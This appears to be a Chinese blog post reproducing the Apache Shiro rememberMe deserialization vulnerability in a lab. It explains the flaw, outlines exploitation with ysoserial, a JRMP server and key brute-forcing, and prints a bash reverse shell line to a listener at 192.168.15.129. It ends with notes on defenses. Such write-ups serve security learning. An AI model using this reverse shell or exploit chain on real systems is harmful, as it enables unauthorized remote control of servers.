shiro反序列化的简单漏洞复现

环境介绍

192.168.15.166作为漏洞靶场

192.168.15.129为接收反弹shell的主机

漏洞成因

Shiro反序列化漏洞主要是由于Shiro框架在处理序列化数据时未能正确验证或限制用户输入所导致的。这种漏洞利用了Java对象序列化和反序列化的机制,攻击者可以通过精心构造的恶意序列化数据进行攻击,导致远程代码执行或其他严重的安全问题。以下是Shiro反序列化漏洞的成因分析:

  1. Java序列化机制的特性

    • Java对象序列化允许将对象的状态转换为字节流,以便存储或通过网络传输。当这些字节流被反序列化时,Java会将其还原为对象。
    • 如果不严格控制反序列化过程中允许的类或对象,恶意用户可以通过发送特定的序列化数据,触发反序列化过程执行意料之外的代码。
  2. Shiro中的Session机制

    • Shiro框架通常会将用户的会话数据(Session)序列化后存储在客户端(如Cookie)或服务器端。
    • 当用户发送请求时,这些序列化数据会被Shiro反序列化为会话对象,以恢复用户的会话状态。
  3. 未充分验证输入数据

    • Shiro框架在反序列化Session数据时,未对传入的序列化数据进行充分的验证,导致攻击者可以构造恶意的序列化对象。
    • 这些恶意对象在被反序列化时,会调用特定类的恶意方法,从而触发任意代码执行。
  4. 利用常见的Java反序列化漏洞链

    • 攻击者通常利用常见的Java反序列化漏洞链(如使用Commons Collections库)来构造恶意对象链,并通过反序列化触发该链中的代码执行。
    • 这种方法依赖于Java的反射机制,攻击者可以调用任意类的任意方法,而不需要显式地在代码中调用这些方法。

漏洞就是在点击记住我的时候

会有一个rememberme字段

它的运作流程是:

rememberme-->序列化-->aes加密-->base64编码发送给服务器接收

服务器再把它base64解码-->aes解密-->最后反序列化

如果攻击者精心构造恶意类 这些类会在反序列化过程中触发恶意代码执行

利用的过程就是:

选择或构造恶意类链

  • 恶意类链是由一组可被反序列化的类组成,这些类会在反序列化过程中触发恶意代码执行。常用的恶意类链可能涉及Commons CollectionsJavassist等库。
  • 利用工具(如ysoserial)可以生成常见的Java反序列化payload,这些payload包含已经构造好的恶意类链。

注入恶意代码

  • 在恶意类链中,利用反射、动态代理或其他方法注入恶意代码,如执行系统命令或下载恶意文件。
  • 典型的payload会调用系统命令执行(如Runtime.getRuntime().exec("命令")),从而控制目标服务器。

序列化恶意类

  • 将恶意类链序列化为字节流,这一步通常可以通过ysoserial等工具自动完成。

加密与编码

  • 将序列化的恶意数据进行AES加密,并进行Base64编码,模拟Shiro框架的工作流程。

发送恶意Payload

  • 将构造好的恶意数据以“remember me”Cookie的形式发送给目标服务器。
  • 服务器接收到后,在Base64解码、AES解密、反序列化的过程中,触发恶意类链,从而执行恶意代码。

详细点说:

但是能利用漏洞的前提是 能够获取aes密钥(可以尝试爆破获取)

然后搭建一个VPS服务,使用序列化工具ysoserial指定利用链生成可反弹shell命令的序列化数据

当后面有客户端请求服务时,搭建的这个JRMP就会返回该序列化数据

生成AES加密-->base64编码后的rememberme字段(字段原内容就是去访问该vps获取序列化数据)

当服务器解码解密后得到序列化数据后 就会触发恶意构造类链 从而执行反弹shell的命令

最后攻击机监听端口即可成功getshell

而使用工具就省去了以上的步骤 直接一步到位

利用工具getshell

检测当前密钥

执行命令

虽然显示执行失败

bash -c 'bash -i >& /dev/tcp/192.168.15.129/8888 0>&1'

但是还是可以反弹到shell

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shiro反序列化检测是指对Shiro框架可能存在的反序列化漏洞进行检测和防护的一种安全措施。通过该方法,可以防止黑客利用Shiro框架的反序列化漏洞进行攻击。 Shiro是Java领域中广泛使用的开源安全框架,用于认证、授权和会话管理等安全功能。然而,由于Java的序列化和反序列化机制的特性,可能导致应用程序在反序列化时存在安全风险。黑客可以通过构造恶意序列化数据,导致应用程序反序列化时执行恶意代码,从而实施攻击,比如远程代码执行、命令注入等。 为了防止这种安全风险,可以在Shiro框架中添加反序列化检测机制。这个机制可以对反序列化的数据进行检查,确保其合法性,并防止执行恶意代码。常见的防护方法包括: 1. 设置白名单:限制反序列化的类的类型和来源,只允许反序列化特定的类。 2. 安全配置:对Shiro框架及相关功能进行正确的安全配置,合理设置权限和角色。 3. 使用SafeXMLDecoder:SafeXMLDecoder是一个安全的XML反序列化工具,可以对输入数据进行验证和过滤,阻止恶意代码的执行。 此外,定期更新Shiro框架和依赖库,确保及时获取最新的安全补丁也是非常重要的。同时,开发人员也需要对Shiro框架和反序列化漏洞有一定的了解,及时关注相关安全动态,以便及时修复和更新。 总之,Shiro反序列化检测是一项重要的安全措施,可以有效预防黑客利用反序列化漏洞Shiro框架进行攻击。通过合理的安全配置和验证机制,可以提高应用程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值